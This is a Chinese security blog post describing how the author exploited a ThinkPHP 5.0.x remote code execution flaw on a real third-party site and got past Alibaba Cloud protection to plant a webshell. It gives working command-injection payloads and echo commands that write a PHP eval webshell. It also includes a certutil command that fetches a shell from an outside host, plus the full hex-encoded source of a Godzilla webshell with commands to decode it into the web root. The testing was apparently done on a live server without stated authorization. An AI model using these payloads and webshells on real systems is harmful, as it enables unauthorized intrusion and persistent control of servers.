TP-RCE绕过阿里云防护Getshell

  • A+
所属分类:安全文章
声明:公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


0x01 前言

这篇文章记录的是笔者在阅读某公众号发布的“记一次对****某校区失败的渗透测试”文章时发现存在漏点,找到目标站点并对原文章作者在Getshell时遇到的问题进行了一些测试,Getshell失败的原因他认为是Assert、Eval被禁用或者360安全防护问题,其实都不是。

漏点处出在Burpsuite请求/响应包中以及****等关键字。

TP-RCE绕过阿里云防护Getshell


0x02 TP-RCE漏洞利用与杀软对比

这是一个后台登录页,基于ThinkPHP V5.0.20框架,可利用ThinkPHP 5.0.0~5.0.23 RCE漏洞直接执行系统命令,不同小版本之间利用的Payload可能会有些差别。
_method=__construct&filter=system&a=whoami
http://192.168.1.7/ThinkPHP/public/index.php?s=captchapost_poc1:_method=__construct&filter[]=system&method=get&get[]=whoamipost_poc2:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

TP-RCE绕过阿里云防护Getshell


通过与tasklist /svc命令结果对比发现为阿里云主机,并且安装的有服务器安全狗、360安全卫士和微软自带的Windows Defender,所以不能直接用以下两种方式来进行测试

  • 1. 360安全卫士和服务器安全狗都会拦截Net/Net1添加用户行为,所以没办法直接添加管理员用户。

  • 2. 360安全卫士Windows Defender也会拦截Mshta、Powershell等程序的执行,而且还有特征查杀和AMSI,所以暂时不考虑用MSF和CS来获取会话,因为免杀、传文件和执行方式都是问题......!
TP-RCE绕过阿里云防护Getshell

TP-RCE绕过阿里云防护Getshell


0x02 绕过阿里云主机防护Getshell

(1) 常规思路写Webshell
这里我们可以先利用dir命令查看当前网站绝对路径,然后再用echo命令写入一个PHP Webshell,不过在写入<?php @eval($_POST[cmd]);?>一句话木马时发现被拦了,正常内容是可以写入的。

当我们写入的Webshell特征被阿里云防护检测到时就会被拦截并Ban掉IP,会触发告警,链接被重置,网站暂时无法访问等,这也就是原文章作者Getshell失败的原因了。


1、列出当前目录

_method=__construct&filter=system&a=dir

2、写入PHP一句话木马

_method=__construct&filter=system&a=echo ^<?php @eval($_POST[cmd]);?^> > E:phpstudysPHPTutorialWWWbmpublicstaticshell.php


在遇到这类云主机防护时可以尝试更换为免杀Webshell,这里我用的是“哥斯拉”生成的PHP木马。但问题又来了,哥拉斯的马并不是“一句话”,有34行,无法直接利用echo命令来写入,那么又该通过怎样的方式来写入这个PHP木马呢?接着往下看。

TP-RCE绕过阿里云防护Getshell


(2) Certutil远程下载Webshell

这里笔者首先想到的是certutil,当然也可以选择其他远程下载文件方式!RCE这类漏洞中利用certutil下载文件时建议加上cmd.exe /c,因为这样能绕过火绒应用加固中的“Web服务器”防护,也有可能可以绕过其他安全软件对certutil执行的拦截。

_method=__construct&filter=system&a=cmd.exe /c certutil.exe -urlcache -split -f http://betaseclab.com/bypass/shell.txt E:phpstudysPHPTutorialWWWbmpublicstaticshell.php

TP-RCE绕过阿里云防护Getshell


(3) Certutil编码上传Webshell

将“哥斯拉”的PHP木马在https://www.107000.com/T-Hex上进行一次或多次编码,然后将编码后的内容用set命令写入,最后再用certutil命令的decodehex参数将其解码并写入到shell.php文件即可。

_method=__construct&filter=system&a=cmd.exe /c set /p="3C3F7068700A2020202073657373696F6E5F737461727428293B0A20202020407365745F74696D655F6C696D69742830293B0A09406572726F725F7265706F7274696E672830293B0A2020202066756E6374696F6E20452824442C244B297B0A2020202020202020666F722824693D303B24693C7374726C656E282444293B24692B2B29207B0A20202020202020202020202024445B24695D203D2024445B24695D5E244B5B24692B312631355D3B0A20202020202020207D0A202020202020202072657475726E2024443B0A202020207D0A2020202066756E6374696F6E2051282444297B0A202020202020202072657475726E206261736536345F656E636F6465282444293B0A202020207D0A2020202066756E6374696F6E204F282444297B0A202020202020202072657475726E206261736536345F6465636F6465282444293B0A202020207D0A2020202024503D2770617373273B0A2020202024563D277061796C6F6164273B0A2020202024543D2733633665306238613963313532323461273B0A2020202069662028697373657428245F504F53545B24505D29297B0A202020202020202024463D4F2845284F28245F504F53545B24505D292C245429293B0A202020202020202069662028697373657428245F53455353494F4E5B24565D29297B0A202020202020202020202020244C3D245F53455353494F4E5B24565D3B0A20202020202020202020202024413D6578706C6F646528277C272C244C293B0A202020202020202020202020636C61737320437B7075626C69632066756E6374696F6E206E766F6B6528247029207B6576616C2824702E2222293B7D7D0A20202020202020202020202024523D6E6577204328293B0A09090924522D3E6E766F6B652824415B305D293B0A2020202020202020202020206563686F20737562737472286D64352824502E2454292C302C3136293B0A2020202020202020202020206563686F20512845284072756E282446292C245429293B0A2020202020202020202020206563686F20737562737472286D64352824502E2454292C3136293B0A20202020202020207D656C73657B0A202020202020202020202020245F53455353494F4E5B24565D3D24463B0A20202020202020207D0A202020207D" <nul >> E:phpstudysPHPTutorialWWWbmpublicstatichex.txt
TP-RCE绕过阿里云防护Getshell
_method=__construct&filter=system&a=cmd.exe /c certutil -decodehex E:phpstudysPHPTutorialWWWbmpublicstatichex.txt E:phpstudysPHPTutorialWWWbmpublicstaticshell.php

TP-RCE绕过阿里云防护Getshell


用哥斯拉连接后发现在基础信息里获取的系统版本与systeminfo命令获取的系统版本不一致,这应该算是哥拉斯的一个小BUG吧,但影响不大

TP-RCE绕过阿里云防护Getshell


由于是国内的网站,所以笔者这里只对Getshell问题进行了测试,并没有进行下一步测试,写入的文件也已经删除了,有兴趣的老哥可以在自己阿里云主机上安装一个ThinkPHP 5.0.0~5.0.23 RCE靶场环境进行测试

ThinkPHP5.0.20完整版:

http://www.thinkphp.cn/donate/download/id/1155.html

TP-RCE绕过阿里云防护Getshell
TP-RCE绕过阿里云防护Getshell  如果对你有所帮助,请点个分享、赞、在看呗!TP-RCE绕过阿里云防护Getshell

本文始发于微信公众号(安全回忆录):TP-RCE绕过阿里云防护Getshell

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: